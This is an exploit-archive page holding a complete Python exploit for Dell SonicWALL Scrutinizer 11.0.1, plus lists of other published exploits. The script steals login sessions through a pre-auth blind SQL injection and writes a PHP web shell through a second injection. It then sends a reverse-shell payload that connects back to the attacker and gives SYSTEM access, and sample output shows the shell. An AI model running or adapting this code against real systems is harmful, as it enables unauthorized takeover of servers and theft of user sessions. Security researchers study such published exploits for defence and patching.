Menu

Search for hundreds of thousands of exploits

"Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution"

Author

Exploit author

mr_me

Platform

Exploit platform

windows

Release date

Exploit published date

2016-05-09

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
#!/usr/local/bin/python
"""
Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution
sonic.py by mr_me@offensive-security.com
greets to @brandonprry ;->

Summary:
========

This exploits an pre-auth SQL Injection in the login.php script within an update statement to steal session data. You could also steal login creds 
which require absolutely no hash cracking since the target uses symmetric encryption. It then exploits a second post-auth SQL Injection vulnerability 
that writes a shell to the target using a relative path and gets SYSTEM.

Vulnerability:
==============

In html/d4d/login.php on lines 27-34:

    }else if ($_REQUEST['setSkin']){
        echo setUserSkin(
          array(
            'db' => $db,
            'user_id' => $_REQUEST['user_id'],
            'skin' => $_REQUEST['setSkin']
          )
        );

 Then, on lines 46-62:

 function setUserSkin($args){
    $db = $args['db'];
    
    $result = $db->query("
UPDATE plixer.userpreferences
SET setting = '$args[skin]'
WHERE prefCode = 'skin'
AND users_id = $args[user_id]");
    
    if ($args['user_id'] == 1){
        $result2 = $db->query("
UPDATE plixer.serverprefs
SET currentVal = '$args[skin]'
WHERE langKey = 'skin'");
    }
    
}

For the post-auth bug, see https://gist.github.com/brandonprry/76741d9a0d4f518fe297

Example:
========

saturn:module-03 mr_me$ ./sonic.py

	Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
	mr_me@offensive-security.com

(!) usage: ./poc.py <target> <connectback:port>
saturn:module-03 mr_me$ ./poc.py 172.16.175.147 172.16.175.1:1111

	Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
	mr_me@offensive-security.com

(+) target is vuln, proceeding
(+) waiting for session data... starting at: 2016-05-06 16:31:37.022818
(+) awesome, appears like someone has logged in... 
(+) it took 0:00:05.020670 to detect valid session data
(+) extracting session data... 1:NfS5yetP49TXCqP5
(+) backdooring target...
(+) starting handler on port 1111
(+) connection from 172.16.175.147
(+) pop thy shell!
whoami
nt authority\system
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 172.16.175.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.175.2
*** Connection closed by remote host ***
"""
import re
import sys
import requests
import datetime
import socket
import telnetlib
import email.utils as eut
from threading import Thread
from base64 import b64encode as b64e

lower_value = 0
upper_value = 126

def banner():
	return """\n\tDell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t\n\tmr_me@offensive-security.com\n"""

def ct():
	return datetime.datetime.now()

def parsedate(text):
    return datetime.datetime(*eut.parsedate(text)[:6])

def check_args():
    global target, lserver, lport
    if len(sys.argv) < 3:
        return False
    cb = sys.argv[2]
    target = "http://%s" % sys.argv[1]
    if not ":" in cb:
    	return False
    if not cb.split(":")[1].isdigit():
    	return False
    lserver = cb.split(":")[0]
    lport   = int(cb.split(":")[1])
    return True

def validate():
    r = requests.get("%s/index.html" % target)
    if re.search('Scrutinizer 11.0.1', r.text):
        return True
    return False

def have_sessions(time):
    """
    check if we have sessions
    """   	
    sqli = "if(ascii(substring((select count(session_id) from sessions),1,1))!=48,sleep(%s),null)" % (time)
    url = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    st = ct()
    r = requests.get("%s/%s" % (target, url))
    delta = ct()-st
    if int(delta.seconds) < time:
        return False
    return True

def do_time_based_blind(sql, time):
    lower = lower_value
    upper = upper_value
    while lower < upper:
        try:
            mid = (lower + upper) / 2
            url = "%s/%s" % (target, ("%s>%s,sleep(%s),null)" % (sql, str(mid), time)))
            st = ct()
            r = requests.get(url)
            delta = ct()-st
            if int(delta.seconds) >= time:
                lower = mid + 1
            else:
                upper = mid
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            pass
 
    if lower > lower_value and lower < upper_value:
        value = lower
    else:
        url = "%s/%s" % (target, ("%s=%s,sleep(%s),null)" % (sql, str(lower), time)))
        st = ct()
        r = requests.get(url)
        delta = ct()-st
        if int(delta.seconds) >= time:
            value = lower
    return value

def steal_session_length():
    xlen = ""
    sqli    = "if(ascii(substring((select length(length(concat(user_id,0x3a,session_id))) from sessions limit 0,1),1,1))"
    qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    zlen = int(chr(do_time_based_blind(qry_str, 5)))
    for i in range(0, zlen):
        sqli = "if(ascii(substring((select length(concat(user_id,0x3a,session_id)) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        xlen += chr(do_time_based_blind(qry_str, 5))
    return int(xlen)

def steal_session(length, time):
    session = ""
    for i in range(0, length):
        sqli    = "if(ascii(substring((select concat(user_id,0x3a,session_id) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        char = chr(do_time_based_blind(qry_str, 5))
    	session += char
    	sys.stdout.write(char)
    	sys.stdout.flush() 
    return session

# build the reverse php shell
def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return phpkode

def kill_shot(stolen_data):
    user_id    = stolen_data.split(":")[0]
    sessionid = stolen_data.split(":")[1]
    url = "d4d/dashboards.php?deleteTab=1 union select '<?php eval(base64_decode($_COOKIE[\\'awae\\'])); ?>' into outfile '../../html/d4d/offsec.php'"
    requests.get("%s/%s" % (target, url), cookies={"userid": user_id, "sessionid": sessionid})

def exec_code():
    phpkodez = b64e(build_php_code())
    handlerthr = Thread(target=handler, args=(lport,))
    handlerthr.start()
    requests.get("%s/d4d/offsec.php" % (target), cookies={"awae": phpkodez})

def handler(lport):
    print "(+) starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def main():
    if check_args():
        if validate():
            print "(+) target is vuln, proceeding"
            st = ct()
            print "(+) waiting for session data... starting at: %s" % ct()
            # we dont use recursion since we could get stack exhaustion. 
            while not have_sessions(5):
            	pass
            print "(+) awesome, appears like someone has logged in... "
            print "(+) it took %s to detect valid session data" % (ct()-st)
            sys.stdout.flush() 
            sys.stdout.write("(+) extracting session data... ")
            dataz = steal_session(steal_session_length(), 5)
            print "\n(+) backdooring target..."
            kill_shot(dataz)
            exec_code()
    else:
    	print "(!) usage: %s <target> <connectback:port>" % sys.argv[0]

if __name__ == "__main__":
    print banner()
    main()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-02-06 "Cisco Data Center Network Manager 11.2 - Remote Code Execution" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection" webapps java mr_me
2019-12-12 "ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution" webapps multiple mr_me
2019-05-17 "Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution" remote linux mr_me
2018-08-20 "Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution" remote php mr_me
2018-06-25 "Foxit Reader 9.0.1.1049 - Remote Code Execution" remote windows mr_me
2018-01-28 "Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution" remote linux mr_me
2018-01-15 "Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution" remote hardware mr_me
2018-01-03 "Kingsoft Antivirus/Internet Security 9+ - Local Privilege Escalation" local windows mr_me
2017-10-30 "Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure" webapps xml mr_me
2017-09-12 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (2)" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)" local windows mr_me
2017-07-05 "Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution" remote php mr_me
2016-05-09 "Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution" remote windows mr_me
2016-03-28 "Cogent Datahub 7.3.9 Gamma Script - Local Privilege Escalation" local windows mr_me
2016-03-07 "ATutor LMS - '/install_modules.php' Cross-Site Request Forgery / Remote Code Execution" webapps php mr_me
2012-06-15 "Useresponse 1.0.2 - Privilege Escalation / Remote Code Execution" webapps php mr_me
2012-06-14 "XM Easy Personal FTP Server 5.30 - Remote Format String Write4" remote windows mr_me
2011-12-23 "Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution Vulnerabilities" webapps php mr_me
2011-12-09 "Docebo Lms 4.0.4 - 'Messages' Remote Code Execution" webapps php mr_me
2011-12-04 "Family Connections CMS 2.5.0/2.7.1 - 'less.php' Remote Command Execution" webapps php mr_me
2011-09-22 "Cogent Datahub 7.1.1.63 - Remote Unicode Buffer Overflow" remote windows mr_me
2011-09-12 "ScadaTEC ModbusTagServer & ScadaPhone - '.zip' Local Buffer Overflow" local windows mr_me
2011-07-31 "Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Fax Voice SDK 12.6 - Remote Code Execution" remote windows mr_me
2011-03-11 "Linux NTP query client 4.2.6p1 - Heap Overflow" dos linux mr_me
2011-03-09 "Maian Weblog 4.0 - Blind SQL Injection" webapps php mr_me
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.